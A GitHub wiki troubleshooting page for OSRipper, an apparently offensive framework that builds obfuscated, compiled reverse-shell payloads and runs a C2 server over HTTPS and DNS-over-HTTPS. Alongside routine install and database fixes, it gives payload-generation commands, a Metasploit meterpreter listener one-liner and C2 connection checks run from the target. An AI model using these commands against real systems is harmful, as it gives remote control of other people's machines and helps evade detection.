Skip to content

Troubleshooting

Jump to bottom
noah edited this page Nov 15, 2025 · 1 revision

Troubleshooting Guide

Common issues and solutions for OSRipper usage.

Table of Contents

Installation Issues

Issue: "Command not found: osripper"

Symptoms:

  • osripper: command not found
  • osripper-cli: command not found

Solutions:

  1. Use Python module:

    python3 -m osripper
python3 -m osripper.cli

  2. Check installation:

    pip3 show osripper

  3. Reinstall:

    pip3 install -e .

  4. Check PATH:

    echo $PATH
which python3

Issue: "Module not found" errors

Symptoms:

  • ModuleNotFoundError: No module named 'osripper'
  • Import errors

Solutions:

  1. Install dependencies:

    pip3 install -r requirements.txt

  2. Reinstall package:

    pip3 install -e . --force-reinstall

  3. Check Python version:

    python3 --version  # Should be 3.6+

  4. Use virtual environment:

    python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
pip3 install -e .

Issue: Permission errors

Symptoms:

  • Permission denied errors
  • Cannot write to directories

Solutions:

  1. Use --user flag:

    pip3 install -r requirements.txt --user

  2. Fix permissions:

    chmod +x src/osripper/cli.py

  3. Use virtual environment:

    python3 -m venv venv
source venv/bin/activate

Payload Generation Issues

Issue: Payload generation fails

Symptoms:

  • Error during payload generation
  • No output file created

Solutions:

  1. Check file permissions:

    ls -la results/
chmod 755 results/

  2. Check disk space:

    df -h

  3. Review error messages:

    osripper-cli reverse -H IP -p PORT --verbose

  4. Test with simple payload:

    osripper-cli reverse -H 127.0.0.1 -p 4444

Issue: Obfuscation fails

Symptoms:

  • Obfuscation errors
  • Syntax errors in obfuscated code

Solutions:

  1. Test source code first:

    python3 payload.py

  2. Check Python version:

    python3 --version

  3. Try standard obfuscation:

    osripper-cli reverse -H IP -p PORT --obfuscate
# Instead of --enhanced

  4. Review obfuscator logs:

    • Check console output for errors

Issue: Invalid parameters

Symptoms:

  • "Invalid IP address" errors
  • "Port must be between 1024 and 65535"

Solutions:

  1. Verify IP format:

    # Valid: 192.168.1.100
# Invalid: 192.168.1

  2. Check port range:

    # Valid: 1024-65535
# Invalid: 80, 443, etc.

  3. Validate domain:

    # Valid: example.com
# Invalid: http://example.com

C2 Server Issues

Issue: Server won't start

Symptoms:

  • "Address already in use"
  • Port binding errors

Solutions:

  1. Check if port is in use:

    netstat -tulpn | grep 5000
lsof -i :5000

  2. Use different port:

    python -m osripper.c2.server example.com --port 8080

  3. Kill existing process:

    kill -9 $(lsof -t -i:5000)

  4. Check permissions:

    # Ports < 1024 require root
sudo python -m osripper.c2.server example.com --port 80

Issue: Web UI not accessible

Symptoms:

Solutions:

  1. Verify server is running:

    ps aux | grep osripper

  2. Check firewall:

    sudo ufw status
sudo ufw allow 5000/tcp

  3. Check host binding:

    # Use 0.0.0.0 for external access
python -m osripper.c2.server example.com --host 0.0.0.0

  4. Test locally:

    curl http://localhost:5000

Issue: HTTPS certificate errors

Symptoms:

  • Certificate generation fails
  • SSL errors

Solutions:

  1. Check certificate files:

    ls -la c2_server.crt c2_server.key

  2. Regenerate certificate:

    rm c2_server.crt c2_server.key
python -m osripper.c2.server example.com --https

  3. Use custom certificate:

    openssl req -x509 -newkey rsa:4096 \
  -keyout server.key -out server.crt -days 365 -nodes

python -m osripper.c2.server example.com \
  --https --cert server.crt --key server.key

  4. Check certificate permissions:

    chmod 600 server.key
chmod 644 server.crt

Issue: Database errors

Symptoms:

  • Database locked errors
  • Session not saving

Solutions:

  1. Check database permissions:

    ls -la c2_sessions.db
chmod 644 c2_sessions.db

  2. Check disk space:

    df -h

  3. Use custom database location:

    python -m osripper.c2.server example.com --db /tmp/sessions.db

  4. Backup and recreate:

    cp c2_sessions.db c2_sessions.db.backup
rm c2_sessions.db

Connection Issues

Issue: Payload doesn't connect

Symptoms:

  • No connection received
  • Timeout errors

Solutions:

  1. Check listener:

    # Verify Metasploit listener is running
msfconsole -q -x 'use multi/handler; set payload python/meterpreter/reverse_tcp_ssl; set LHOST 0.0.0.0; set LPORT 4444; exploit'

  2. Verify IP address:

    # Check your IP
hostname -I
curl ifconfig.me

  3. Check firewall:

    # Allow incoming connections
sudo ufw allow 4444/tcp

  4. Test connectivity:

    # From target, test connection
nc -zv YOUR_IP 4444

Issue: DoH C2 not connecting

Symptoms:

  • Agent not appearing in dashboard
  • DNS queries failing

Solutions:

  1. Verify DNS resolution:

    nslookup example.com
dig example.com

  2. Check DoH endpoint:

    curl "https://example.com/dns-query?name=test&type=TXT"

  3. Verify domain configuration:

    • Check DNS A record
    • Verify domain points to server IP
    • Check port forwarding

  4. Test DoH locally:

    curl "http://localhost:5000/dns-query?name=test&type=TXT"

Issue: HTTPS C2 certificate mismatch

Symptoms:

  • Certificate validation fails
  • Connection refused

Solutions:

  1. Verify fingerprint:

    curl http://localhost:5000/api/cert-fingerprint

  2. Check payload configuration:

    • Ensure fingerprint matches
    • Verify base URL is correct

  3. Regenerate payload:

    • Get new fingerprint
    • Regenerate payload with correct fingerprint

Compilation Issues

Issue: Nuitka not found

Symptoms:

  • "Nuitka not installed" errors
  • Compilation fails

Solutions:

  1. Install Nuitka:

    pip3 install nuitka

  2. Verify installation:

    python3 -m nuitka --version

  3. Check system dependencies:

    # Ubuntu/Debian
sudo apt install build-essential python3-dev

# macOS
xcode-select --install

Issue: Compilation fails

Symptoms:

  • Compilation errors
  • Binary not created

Solutions:

  1. Check source code:

    # Test source before compilation
python3 payload.py

  2. Review error messages:

    • Check Nuitka output
    • Look for missing dependencies

  3. Try without obfuscation:

    osripper-cli reverse -H IP -p PORT --compile
# Without --obfuscate

  4. Check disk space:

    df -h
# Compilation requires significant space

Issue: Binary too large

Symptoms:

  • Binary file is very large
  • Slow execution

Solutions:

  1. Reduce dependencies:

    • Minimize imports
    • Remove unused code

  2. Use optimization:

    # Nuitka optimization flags (future feature)

  3. Skip compilation:

    # Use Python payload instead
osripper-cli reverse -H IP -p PORT --obfuscate

Performance Issues

Issue: Slow payload generation

Symptoms:

  • Generation takes too long
  • System becomes unresponsive

Solutions:

  1. Skip compilation:

    # Faster without compilation
osripper-cli reverse -H IP -p PORT --obfuscate

  2. Use standard obfuscation:

    # Enhanced obfuscation is slower
osripper-cli reverse -H IP -p PORT --obfuscate
# Instead of --enhanced

  3. Check system resources:

    top
free -h

Issue: High memory usage

Symptoms:

  • System running out of memory
  • OOM errors

Solutions:

  1. Close other applications

  2. Use swap space:

    sudo swapon --show

  3. Generate payloads one at a time

Issue: Database performance

Symptoms:

  • Slow web UI
  • Database queries timeout

Solutions:

  1. Clean old data:

    sqlite3 c2_sessions.db "DELETE FROM command_history WHERE timestamp < datetime('now', '-30 days');"

  2. Vacuum database:

    sqlite3 c2_sessions.db "VACUUM;"

  3. Use custom database location:

    python -m osripper.c2.server example.com --db /tmp/sessions.db

Getting Help

Debug Mode

Enable debug mode for more information:

# C2 server debug mode
python -m osripper.c2.server example.com --debug

# Verbose CLI output
osripper-cli reverse -H IP -p PORT --verbose

Log Files

Check log files for errors:

# Server logs (stdout/stderr)
python -m osripper.c2.server example.com 2>&1 | tee server.log

# System logs
journalctl -u osripper-c2 -f

Community Support

For more information, see the Usage Guide and Advanced Features pages.

Clone this wiki locally